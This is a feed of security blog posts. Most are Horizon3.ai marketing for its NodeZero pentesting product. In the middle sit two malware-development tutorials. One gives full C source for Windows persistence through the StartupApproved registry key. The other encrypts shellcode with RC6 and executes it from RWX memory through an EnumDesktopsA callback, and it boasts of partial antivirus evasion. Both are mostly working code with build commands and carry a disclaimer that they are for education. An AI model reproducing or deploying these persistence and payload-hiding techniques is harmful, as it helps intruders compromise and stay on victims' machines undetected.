On top of that, Jim also noted that he liked that he β€œcould spin up NodeZero on different parts of the network and try to get into a place that I didn’t think we could get to…testing my defenses and giving me visibility.” NodeZero doesn’t just scan your network, it looks at your network as an attacker would. Our attack paths show how an attacker weaves into a network and what they did to get domain admin, host compromise, or sensitive data exposure, for example. He was also impressed with our proactive Rapid Response capability outside of NodeZero’s interface, calling to an additional Follow, Alert, and Review (FLARE) notification he received via email from our Customer Success and Engineering teams.

β€œStarting about 5 years ago, we had a 6.8% response rate [to phishing campaigns] and we’re down to .22%”

Moravian University: Phishing Concerns

Lastly, Jim mentioned that one of β€œthe biggest risks [to Moravian] is users coughing up their credentials because they were phished.” Recently added to NodeZero, customers can now harness the Phishing Impact test that allows security professionals to integrate into their existing phishing training and awareness platforms. Jim thinks that this test will be eye opening, and help organizations shift policies and guidance to better educate staff. Jim says, β€œusing phished credentials from the phishing test and injecting them in other pentests would be a lesson for not only the individual whose credentials were phished, but for the entire institution about how quickly something could happen.” His goal is to use the new capability to educate management and staff as to why phishing is a huge risk to their organization and what can be done to continue driving their response rate down.

My first impression was ease of use…to be able to just copy and paste a command and BAM! You’re inside attacking my network!

β€œCompliance drove us to trying to find a pentesting solution”

Moravian University: Vulnerability Prioritization

NodeZero revolutionizes the landscape for educational institutions seeking an autonomous pentesting solution, empowering a proactive strategy to illuminate how an attacker sees their environment. Additionally, NodeZero also enables institutions to comply with and exceed State and Federal higher education regulatory policies and guidance. β€œTo sum it all up, compliance drove us in trying to find a pentesting solution, but what you had to offer [Horizon3.ai] covered not only pentesting, but vulnerability management,” says Jim. NodeZero provides universities and alike with actionable insights and prioritized recommendations for remediation, as well as the ability to verify fix actions. This enables security teams to focus their efforts on addressing the most critical vulnerabilities first.

Overall, while traditional pentesting methods may have served higher educational institutions well in the past, we have witnessed first-hand that the transition to an autonomous pentesting solution like NodeZero offers countless benefits, including enhanced efficiency, scalability, adaptability, and actionable insights, hardening the institution’s cybersecurity posture in an increasingly complex threat landscape.

Download PDF

The post Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia appeared first on Horizon3.ai.

Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review

22 March 2024 at 13:00

In our groundbreaking 2023 Year in Review, Horizon3.ai delves into the transformative approach of autonomous pentesting with NodeZero. This pivotal document is your gateway to mastering proactive cybersecurity defense mechanisms.

Here’s what you'll discover:



The Attacker's Perspective

Learn how thinking like an attacker can uncover hidden vulnerabilities.

ο‡’

Overcoming Common Cyber Threats

Insight into the most prevalent cybersecurity challenges today, including credential issues and software vulnerabilities.

Innovative Mitigation Strategies

Practical guidance on enhancing your security posture through advanced mitigation techniques.



Policy Recommendations

Expert advice on shaping policies to bolster your defenses against emerging threats.

ο”΄

Continuous Security Assessment

The importance of ongoing evaluation and adaptation to stay ahead of cyber adversaries.

Download now to unlock the secrets to a more resilient cybersecurity framework.

The post Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review appeared first on Horizon3.ai.

Malware development: persistence - part 24. StartupApproved. Simple C example.

12 March 2024 at 00:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.

StartupApproved

The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.

An uncommon Registry entry utilized by the standard β€œstartup” process (i.e., the one mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup folder, etc.) after userinit.exe completes its operation, is located at the following location in the Registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

Turns out, this key is populated when entries are enabled or disabled via the Windows Task Manager’s Startup tab:

pers

The good news is that we can use this registry path for persistence.

practical example

First of all, check Registry keys by the following command:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

At the next step, as usually, create our β€œevil” application (hack.c):

/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As usually, just meow-meow messagebox.

Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved registry key, like this (pers.c):

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00... binary value.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware” DLL:

x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

pers

Then, compile our PoC:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:

.\pers.exe

pers

As you can see, I also checked registry again:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

Then, logout and login again:

pers

pers

But unexpectedly it didn’t work for me…

Then, I just update the name of entry:

pers

Logout and login, little bit wait…. and it’s worked perfectly….

pers

pers

So I updated one line in my script:

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "C:\\temp\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

What’s the true impact on your organization when an employee is phished?

6 March 2024 at 21:00

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

What’s the true impact on your organization when an employee is phished?

29 February 2024 at 20:13

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

Conosciamo Alessio Romano – Penetration Tester

By: o___o
28 February 2024 at 06:39
Il mio primo approccio al mondo dell’informatica, differentemente da quanto ci si aspetterebbe, Γ¨ stato simile a quello di molti altri che, come me, sono nati alla fine degli anni ’90: la prima volta che ho interagito con un computer non ho fatto altro che accenderlo, aprire un file mp3 con il media player di […]

Malware and cryptography 25: encrypt/decrypt payload via RC6. Simple C/C++ example.

21 February 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of my previous posts about cryptography in malware, I considered RC5 encryption, one of the readers asked what would happen if I used RC6 encryption for my payload.

This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC6. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

RC6

RC6 is a symmetric key algorithm for block encryption designed by Ron Rivest in 1998, four years after the proposal of its predecessor, the RC5 encryption algorithm.

How it works?

RC6 uses a key expansion algorithm to generate round keys from the user-provided key. The key size can vary from 128 bits to 256 bits, making it highly secure.

The encryption process involves iterating through a number of rounds, with each round performing a set of operations on the plaintext. In RC6, each round consists of four main steps: mixing, adding round key, rotation, and modular addition. The output of one round becomes the input for the next round.

The decryption process is the reverse of the encryption process. The ciphertext is divided into blocks of 16 bytes each and decrypted using the round keys in reverse order.

practical example

Let’s implement it. First of all, initializing P and Q. RC6 uses two word-sized constants, P and Q:

#define P32 0xB7E15163
#define Q32 0x9E3779B9

P32 is an arbitrary value derived from the mathematical constant phi (Ο†), specifically Ο† = (sqrt(5) - 1) / 2. It is then multiplied by 2^32.
Q32 is another arbitrary value derived from the golden ratio constant (ψ), specifically ψ = (sqrt(5) + 1) / 2. It is then multiplied by 2^32.

ROTL (Rotate Left) and ROTR (Rotate Right) are bitwise rotation operations. ROTL rotates the bits of a binary number to the left by a specified number of positions.

ROTR rotates the bits of a binary number to the right by a specified number of positions.

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

In the RC6 algorithm, ROTL and ROTR are used to perform circular shifts of the binary representations of the input data, keys, and intermediate values during encryption and decryption.

Then, the rc6_setup function performs the key expansion. It takes the user-provided key and generates round keys, which are stored in the S` array:

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
  return;
}

The next one is the rc6_encrypt function. It takes the plaintext and the round keys generated during key expansion and applies the encryption algorithm to produce the ciphertext.Since we have the expanded key in the array S, we can perform the encryption algorithm as specified below. The registers are A,B,C, and D which hold both the input (plaintext) and output (ciphertext). Moreover, the first byte of the plaintext (or ciphertext) is placed in the least-significant byte of A while the last byte of the plaintext is placed in the most-significant byte of D:

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

At the end of ROUNDS rounds, registers A,B,C and D hold the ciphertext.

The decryption process implemented in the rc6_decrypt function. It takes the ciphertext and the round keys generated during key expansion and applies the decryption algorithm to produce the plaintext:

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

For simplicity I just implemented 20-round encryption.

Finally, the full source code for encryption/decryption payload is:

/*
 * hack.c
 * RC6 implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/02/21/malware-cryptography-25.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>

#define WORD uint32_t
#define W_BITS 32
#define ROUNDS 20
#define KEYLEN 16

#define P32 0xB7E15163
#define Q32 0x9E3779B9

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));

  return;
}

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

int main() {

  uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
  WORD S[2 * ROUNDS + 4];
  rc6_setup(key, S);

  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };

  int data_size = sizeof(data);
  int padded_size = (data_size + 15) & ~15; // pad data to the nearest multiple of 16

  printf("original data:\n");
  for (int i = 0; i < data_size; ++i) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  unsigned char padded_data[padded_size];
  memcpy(padded_data, data, data_size);

  unsigned char encrypted[padded_size];
  unsigned char decrypted[padded_size];

  for (int i = 0; i < padded_size; i += 16) {
    uint8_t message_chunk[16];
    memcpy(message_chunk, padded_data + i, sizeof(message_chunk));

    rc6_encrypt(message_chunk, S, message_chunk);
    memcpy(encrypted + i, message_chunk, sizeof(message_chunk));

    rc6_decrypt(message_chunk, S, message_chunk);
    memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
  }

  printf("padded data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", padded_data[i]);
  }
  printf("\n\n");

  printf("encrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  printf("decrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  // Compare decrypted data with original data
  if (memcmp(data, decrypted, data_size) == 0) {
    printf("encryption and decryption successful.\n");
  } else {
    printf("encryption and decryption failed.\n");
  }

  LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, data_size);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (long long int)NULL);

  return 0;
}

As usually, for simplicity, used meow-meow messagebox payload:

unsigned char data[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

As you can see, for checking correctness, also added comparing and printing logic.

demo

Let’s go to see everything in action. Compile it (in my kali machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 10 x64 v1903 in my case):

.\hack.exe

cryptography

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload this hack.exe to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/19fd0084bd8b401a025ca43db4465c49e3aa51455483eeb0b3874e5991d6a022/detection

As you can see, only 21 of 71 AV engines detect our file as malicious.

But this result is not due to the encryption of the payload, but to calls to some Windows APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA

Shannon entropy for first sections:

cryptography

In summary, RC6 encryption stands out as a really strong and flexible encryption algorithm, providing a multitude of benefits in comparison to alternative algorithms. RC6 encryption is commonly used to protect sensitive data, including financial information, medical records, and personal information.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

I often wrote about the results of my research here and at various conferences like BlackHat and BSides, and many emails and messages come with various questions. I try to answer questions and consider problems that are interesting to my readers.

RC6
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry

23 January 2024 at 17:03

How a Prevailing Transportation Company Modernized Security with NodeZero

Cyber protection is crucial for the transportation industry and the supply chain because it ensures the seamless flow of goods, prevents disruptions, and preserves the integrity of critical data essential for global commerce. Horizon3.ai recently interviewed one of our transportation and logistics customers that is deeply rooted in the fabric of American commerce. As a major player in the national supply chain arena, the customer continues to forge an excellent reputation through their innovative supply chain solutions and commitment to environmentally conscious trucking practices. Embracing innovative technology, they continue to optimize their logistics operations and ensure the seamless movement of goods while reducing their carbon footprint.

In tandem with their commitment to sustainable logistics, they also remain vigilant in safeguarding their cyber operations against evolving threats. Implementing robust cybersecurity protocols and investing in state-of-the-art technologies that help find threats, fix weaknesses, and verify fixes before they are an issue is paramount. This also allows them to fortify their digital infrastructure to protect sensitive data and ensure uninterrupted operations. By prioritizing cybersecurity measures, the customer not only secures their own network but also upholds the trust and confidence of their clients, reinforcing their position as a reliable and forward-thinking leader in the transportation and logistics landscape.

Mission:

Addressing their customers’ transportation requirements and needs by offering transportation services around the world.

  • Year Founded: Mid 1900’s
  • Number of Employees: 6,500
  • Operational Reach: Global

Too Many Alerts, Not Enough Action

Vulnerability scanners are very good at pointing to and explaining what a vulnerability is, but often lack actionable insights. This leads to an abundance of alerts while also potentially overwhelming teams and impeding effective response. Our transportation client discovered just that. Their existing vulnerability scanning and management tools were insufficient and highly time-consuming, leading to their security teams not knowing which issues were a priority and needed fixed immediately.

The tools created a lot of noise and led to alert fatigue, explained Henry, one of their Cybersecurity Analysts. The scan results mostly pointed to proof of concept (POC) vulnerabilities that β€œweren’t even
things that could be actively exploited,” he explains. These tools often operate by scanning the client’s setup, cross-referencing it with a list of vulnerabilities, and highlighting disparities. However, this approach lacked the essential depth and sophistication (or proof) essential to know what to fix first, requiring their team to spend time researching each vulnerability and how it relates to their environment.

Moreover, it failed to enable them to see and tackle the most critical issues foremost. Henry stresses that beyond identifying vulnerabilities, β€œunderstanding what elements in our environment
that are exploitable and having evidence of how these vulnerabilities were exploited [proof] is crucial.” This information is key in effectively prioritizing issues and important in determining which ones to address first.

β€œI keep going back to the actionable proof, because that has really been the value for us.”

Vulnerability scanners often offer valuable information but fall short of actionable items for security teams to prioritize and fix. They are great at listing which vulnerabilities exist within your environment, but lack the clarity, explanations, and proof required for action. β€œIt was hard trying to communicate that to our team,” Henry adds, saying that β€œdespite the need to take immediate action, our lack of a clear and actionable plan from our vulnerability scanner left us uncertain about how to prioritize the identified issues and which items needed addressed first.”

Happy Cybersecurity, Means Happy Vendors and Clients

Being a leader in the transportation and supply chain industry, protecting sensitive customer information, proprietary logistics and inventory details, financial transactions, route plans, shipment schedules, and operational and communication data is extremely important in maintaining the efficiency and security of the entire supply chain network. Vendors and customers want to know that their sensitive information is safe from cyber criminals and possible cyber-attacks, and that the company has their back. They want to know that the company has their best interests at heart and takes cyber threats seriously by using a proactive approach and maintaining cyber resilience.

How does a company do this? One of the most effective ways to ensure an organization’s digital infrastructure is protected and resilient against cyber threats is by implementing an autonomous pentesting solution across their entire environment. Doing this involves integrating tools or platforms that constantly conduct regular and ongoing security assessments, while also falling in line with regulatory compliance standards. Our client understands the need to shift from their current scan and patch (traditional vulnerability scanning tools) mindset and move to autonomous security solutions that Find, Fix, and Verify remediations/mitigations immediately and continuously.

